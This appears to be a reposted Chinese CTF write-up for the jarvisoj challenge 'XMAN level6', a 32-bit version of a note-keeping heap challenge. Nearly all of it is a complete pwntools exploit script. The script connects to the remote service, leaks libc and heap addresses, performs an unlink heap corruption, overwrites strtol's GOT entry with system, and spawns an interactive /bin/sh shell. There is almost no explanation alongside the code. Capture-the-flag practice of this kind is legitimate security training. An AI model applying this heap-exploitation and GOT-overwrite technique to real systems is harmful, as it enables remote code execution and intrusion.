ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[XMAN]level6

2021-07-17 21:34:01  阅读:224  来源: 互联网

标签:XMAN level6 libc note io p32 recvuntil addr


nc pwn2.jarvisoj.com 9885

 

 

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

 

level6.rar.69c5609dc9bab6c458b9c70d23e9445d

 

之前的guestbook2的32位版本

exp如下:

from pwn import *

def list_note():
    io.recvuntil('Your choice: ')
    io.sendline('1')

def new_note(note):
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('Length of new note: ')
    io.sendline(str(len(note)))
    io.recvuntil('Enter your note: ')
    io.send(note)

def edit_note(number, note):
    io.recvuntil('Your choice: ')
    io.sendline('3')
    io.recvuntil('Note number: ')
    io.sendline(str(number))
    io.recvuntil('Length of note: ')
    io.sendline(str(len(note)))
    io.recvuntil('Enter your note: ')
    io.send(note)

def delete_note(number):
    io.recvuntil('Your choice: ')
    io.sendline('4')
    io.recvuntil('Note number: ')
    io.sendline(str(number))

#io = process('./freenote_x86')
#io = gdb.debug('./freenote_x86', 'b *0x8048760')
io = remote('pwn2.jarvisoj.com', 9885)
elf = ELF('./freenote_x86')
#libc = elf.libc
libc = ELF('./libc-2.19.so')
strtol_got = 0x804A2BC

new_note(b'a' * 128)
new_note(b'b' * 128)
new_note(b'c' * 128)
new_note(b'd' * 128)
new_note(b'e' * 128)
delete_note(1)
delete_note(3)
edit_note(0, b'a' * 128 + b'b' * 8)
list_note()
io.recvuntil('b' * 8)
libc_addr = u32(io.recv(4))
info("libc_addr:" + str(hex(libc_addr)))
#libc_base = libc_addr - 0x1B3780 - 48
libc_base = libc_addr - 0x1AD420 - 48
info("libc_base:" + str(hex(libc_base)))
system_addr = libc_base + libc.symbols['system']
info("system_addr:" + str(hex(system_addr)))
edit_note(0, b'a' * 128 + b'b' * 12)
list_note()
io.recvuntil('b' * 12)
heap_addr = u32(io.recv(4))
info("heap_addr:" + str(hex(heap_addr)))
heap_base = heap_addr - 0xdb0
info("heap_base:" + str(hex(heap_base)))

unlink_addr = heap_base + 0x18
info("unlink_addr:" + str(hex(unlink_addr)))
payload = p32(0x88) + p32(0x80) + p32(unlink_addr - 12) + p32(unlink_addr - 8)
payload = payload.ljust(0x80, b'\x00')
payload += p32(0x80) + p32(0x88)
payload = payload.ljust(0x80 * 2, b'\x00')
edit_note(0, payload)
delete_note(1)

payload = p32(2) + p32(1) + p32(0x100) + p32(heap_addr + 0xc) + p32(1) + p32(4) + p32(strtol_got)
payload = payload.ljust(0x80 * 2, b'\x00')
edit_note(0, payload)
edit_note(1, p32(system_addr))

io.recvuntil('Your choice: ')
io.sendline('/bin/sh')

io.interactive()

 

标签:XMAN,level6,libc,note,io,p32,recvuntil,addr
来源: https://www.cnblogs.com/hktk1643/p/15024929.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有